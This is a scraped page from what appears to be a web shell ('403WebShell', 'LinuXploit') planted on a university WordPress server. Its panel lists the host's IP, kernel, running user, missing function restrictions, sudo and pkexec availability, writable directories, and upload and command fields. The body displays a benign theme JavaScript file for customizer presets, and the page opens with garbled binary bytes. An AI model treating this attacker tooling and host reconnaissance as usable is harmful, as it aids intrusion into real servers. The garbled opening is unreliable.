h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/themes/twenty8teen/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/themes/twenty8teen/js/customize-preset.js
/**
 * Javascript to make Customizer Control load and save option presets.
 * @package Twenty8teen
 */

( function( wp, $ ) {
 	wp.customize.controlConstructor['preset'] = wp.customize.Control.extend( {
		nameField: null,
 	  ready: function() {
 			var control = this;
			control.nameField = control.container.find( '.preset-name-field' );
			control.container.on( 'click', '.apply-preset-item', function( event ) {
				var self = $( this ),
					preset = self.val();
				event.stopPropagation();
				control.doNotice( '' );
				control.retrievePresetValues( preset )
					.done( function( response ) {
						var undo = control.applyPresetValues( response.values );
						self.parent().find( '.revert-preset-item' )
							.removeClass( 'hidden' )
							.data( 'revert', undo );
            if ( ! control.nameField.val() ) {
              control.nameField.val( preset );
              control.updateChecks( self.data( 'keys' ) );
            }
					} )
					.fail( function( response ) {
						control.doNotice( response.message );
					} );
			} );

			control.container.on( 'click', '.revert-preset-item', function( event ) {
 				event.stopPropagation();
				control.doNotice( '' );
				control.applyPresetValues( $( this ).data( 'revert' ) );
			} );

 			control.container.on( 'click', '.add-content', function( event ) {
 				event.stopPropagation();
				control.doNotice( '' );
				$( this ).addClass( 'hidden' );
				control.container.find( '.new-content-item' ).removeClass( 'hidden' );
  			} );

 			control.container.on( 'click', '.save-new-preset', function( event ) {
 				event.stopPropagation();
				control.doNotice( '' );
 				control.savePreset( control.nameField.val().trim() )
					.done( function( response ) {
						var old = control.container
							.find( '.preset-item[data-preset="' + response.preset + '"]' );
						if ( old.length ) {
							old.replaceWith( response.content );
						}
						else {
							control.container.find( '.preset-item' ).last()
								.after( response.content );
						}
						control.container.find( '.add-content' ).removeClass( 'hidden' );
						control.container.find( '.new-content-item' ).addClass( 'hidden' );
					} )
					.fail( function( response ) {
						control.doNotice( response.message );
					} );
 			} );

 			control.container.on( 'click', '.cancel-new-preset', function( event ) {
 				event.stopPropagation();
				control.doNotice( '' );
 				control.nameField.val( '' );
				control.container.find( '.add-content' ).removeClass( 'hidden' );
				control.container.find( '.new-content-item' ).addClass( 'hidden' );
 			} );

 			control.container.on( 'click', '.submitdelete', function( event ) {
				var preset = $( this ).val();
 				event.stopPropagation();
				control.doNotice( '' );
 				control.deletePreset( preset )
					.done( function( response ) {
						var old = control.container
							.find( '.preset-item[data-preset="' + preset + '"]' );
						if ( response.content ) {
							old.replaceWith( response.content );
						}
						else {
							old.remove();
						}
					} )
					.always( function( response ) {
						control.doNotice( response.message );
					} );
 			} );
		},

		/**
		 * Get the checkbox value (setting ID) and then that settings' value.
		 */
		getSelectedValues: function() {
 			var control = this,
				obj = {};
 			$( '.new-content-item input[type="checkbox"]:checked', control.container )
 				.each( function( key, data ) {
					var setting = wp.customize( this.value );
					if ( setting ) {
						obj[this.value] = setting.get();
					}
 				} );
			return obj;
		},

		/**
		 * Set each setting to the supplied preset value, saving the old value.
		 */
		applyPresetValues: function ( values ) {
			var old = {};
			_.each( values, function( value, id ) {
				var setting = wp.customize( id );
				if ( setting ) {
					old[id] = setting.get();
					setting.set( value );
				}
			} );
			return old;
		},

		/**
		 * Update the checkboxes to reflect the supplied comma separated list.
		 */
 		updateChecks: function( list ) {
 			var control = this;
 			var keys = list.split( ',' );
			control.container.find( 'input[type="checkbox"]' ).each( function() {
 				$( this ).prop( 'checked', keys.includes( this.value ) );
 			} );
 		},

		/**
		 * Ajax request to retrieve preset values.
		 */
 		retrievePresetValues: function( preset ) {
			var request = wp.ajax.post( 'twenty8teen_retrieve_preset', {
				presets_nonce: wp.customize.settings.nonce['twenty8teen-customize-presets' + this.id],
				wp_customize: 'on',
				customize_theme: wp.customize.settings.theme.stylesheet,
				preset: preset
			} );
			return request;
 		},

		/**
		 * Ajax request to save preset values.
		 */
 		savePreset: function( preset ) {
			var control = this,
				request = wp.ajax.post( 'twenty8teen_save_preset', {
					presets_nonce: wp.customize.settings.nonce['twenty8teen-customize-presets' + control.id],
					wp_customize: 'on',
					customize_theme: wp.customize.settings.theme.stylesheet,
					preset: preset,
					preset_values: JSON.stringify( control.getSelectedValues() )
				} );
			return request;
 		},

		/**
		 * Ajax request to delete a preset.
		 */
 		deletePreset: function( preset ) {
			var request = wp.ajax.post( 'twenty8teen_delete_preset', {
				presets_nonce: wp.customize.settings.nonce['twenty8teen-customize-presets-delete' + this.id],
				wp_customize: 'on',
				customize_theme: wp.customize.settings.theme.stylesheet,
				preset: preset
			} );
			return request;
 		},

		/**
		 * Generic add and remove notification.
		 */
		doNotice: function( msg ) {
			var control = this;
			if ( msg ) {
				control.notifications.add( 'preset_msg', new wp.customize.Notification(
	        'preset_msg', {
	          type: 'warning',
						fromServer: true,
	          message: msg
	        }
	      ) );
			}
			else {
				control.notifications.remove( 'preset_msg' );
			}
		}

 	} );

} )( wp, jQuery );

Youez - 2016 - github.com/yon3zu
LinuXploit